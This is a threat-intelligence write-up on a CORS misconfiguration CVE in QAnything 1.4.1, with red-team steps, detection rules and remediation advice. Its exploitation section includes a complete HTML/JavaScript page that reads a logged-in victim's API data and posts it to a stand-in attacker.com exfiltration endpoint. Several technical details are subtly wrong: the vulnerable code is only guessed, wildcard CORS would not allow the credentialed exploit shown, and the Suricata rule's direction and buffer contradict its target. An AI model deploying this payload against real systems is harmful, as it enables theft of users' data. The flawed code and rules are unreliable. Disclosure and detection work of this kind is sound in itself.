CVE-2024-8024

Executive Summary

CVE-2024-8024 is a Cross-Origin Resource Sharing (CORS) misconfiguration vulnerability in Netease-youdao's QAnything version 1.4.1. This flaw allows an attacker to bypass the Same-Origin Policy, potentially leading to unauthorized access to sensitive data. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the potential for data exfiltration.

Supply Chain & Package Security

This vulnerability affects the QAnything application, which is a Python-based project available on PyPI. The package is used for question-answering systems and may be integrated into larger applications. The CORS misconfiguration could allow malicious websites to make cross-origin requests to the QAnything API, potentially exposing sensitive data or allowing unauthorized actions. Users should review their deployment and apply restrictive CORS policies immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is exploitable remotely without authentication, making it a high-priority issue for organizations using QAnything.

Deep Dive & Mechanics

CORS is a browser security mechanism that restricts web pages from making requests to a different domain than the one that served the web page. A misconfiguration occurs when the server responds with overly permissive CORS headers, such as Access-Control-Allow-Origin: * or reflecting the Origin header without proper validation.

In QAnything version 1.4.1, the server is configured to allow any origin to make cross-origin requests. This means that a malicious website visited by a user who is authenticated to QAnything can make API calls on their behalf, potentially accessing sensitive data or performing actions without the user's knowledge.

The vulnerability is specifically in the CORS configuration of the backend server. The server likely sets the Access-Control-Allow-Origin header to the value of the Origin request header without checking if it is a trusted domain. This allows any website to bypass the Same-Origin Policy.

Vulnerable vs. Patched Code

Vulnerable Code (QAnything 1.4.1):

# Example of vulnerable CORS configuration
from flask import Flask, request
from flask_cors import CORS

app = Flask(__name__)
CORS(app, resources={r"/api/*": {"origins": "*"}})  # Allows all origins

Patched Code (Hypothetical fix):

# Example of patched CORS configuration
from flask import Flask, request
from flask_cors import CORS

app = Flask(__name__)
CORS(app, resources={r"/api/*": {"origins": ["https://trusted-domain.com"]}})  # Restrict to trusted origins

The vulnerable code uses origins: "*" which allows any domain. The patched code restricts origins to a specific trusted domain.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy QAnything 1.4.1 on a local server (e.g., http://victim.local:5000).
2. Create a malicious website on a different domain (e.g., http://attacker.com).
3. Ensure the victim is authenticated to QAnything (e.g., via cookies or session tokens).

Exploitation Steps:

1. Host the following HTML page on http://attacker.com:

<!DOCTYPE html>
<html>
<head>
    <title>Exploit</title>
</head>
<body>
    <script>
        // Make a cross-origin request to QAnything API
        fetch('http://victim.local:5000/api/sensitive-data', {
            credentials: 'include'  // Include cookies for authentication
        })
        .then(response => response.json())
        .then(data => {
            // Exfiltrate data to attacker server
            fetch('http://attacker.com/exfil', {
                method: 'POST',
                body: JSON.stringify(data)
            });
        });
    </script>
</body>
</html>

2. Lure the victim to visit http://attacker.com.
3. The victim's browser will make a cross-origin request to QAnything, including their session cookies.
4. The server responds with sensitive data, which is then sent to the attacker's server.

Blue Team

Detection:

• Monitor for unexpected Origin headers in API requests.
• Look for Access-Control-Allow-Origin: * in server responses.
• Alert on cross-origin requests to sensitive endpoints.

Mitigation:

• Implement a strict CORS policy that only allows trusted origins.
• Use CSRF tokens to protect against cross-origin requests.
• Validate the Origin header against a whitelist.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests with Origin header set to an unexpected domain.
  • Server responses with Access-Control-Allow-Origin: * or reflecting the Origin header.
  • Unusual cross-origin requests to /api/* endpoints.

• Logs:

  • Server logs showing requests from unexpected Origin headers.
  • Browser console errors related to CORS (though these may not be logged server-side).

• File:

  • Presence of flask_cors configuration with origins: "*" in the application code.

Detection Engineering

YARA Rule

rule CVE_2024_8024_CORS_Misconfig {
    meta:
        description = "Detects CORS misconfiguration in QAnything 1.4.1"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-8024"
    strings:
        $cors_all = /origins\s*:\s*["']\*["']/ nocase
        $cors_reflect = /Access-Control-Allow-Origin\s*:\s*\*/ nocase
    condition:
        $cors_all or $cors_reflect
}

Sigma Rule

title: CORS Misconfiguration in QAnything
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects CORS misconfiguration allowing any origin
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8024
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        response_header|contains: "Access-Control-Allow-Origin: *"
    condition: selection
falsepositives:
    - Legitimate use of wildcard CORS for public APIs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8024 CORS Misconfiguration Detected"; flow:to_server; content:"Access-Control-Allow-Origin: *"; http_server_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action:

   • Update the CORS configuration to restrict origins to a whitelist of trusted domains.
   • If using Flask, modify the CORS initialization to specify allowed origins.

2. Long-term Fix:

   • Apply a patch from the vendor when available.
   • Implement additional security measures such as CSRF tokens and strict session management.

3. Workaround:

   • Use a reverse proxy (e.g., Nginx) to enforce CORS policies before requests reach the application.
   • Disable CORS entirely if cross-origin requests are not needed.

4. Monitoring:

   • Enable logging of all CORS-related headers and monitor for anomalies.
   • Use Web Application Firewall (WAF) rules to block requests with suspicious Origin headers.

Valters IT
DevSecOps & Cyber Threat Intelligence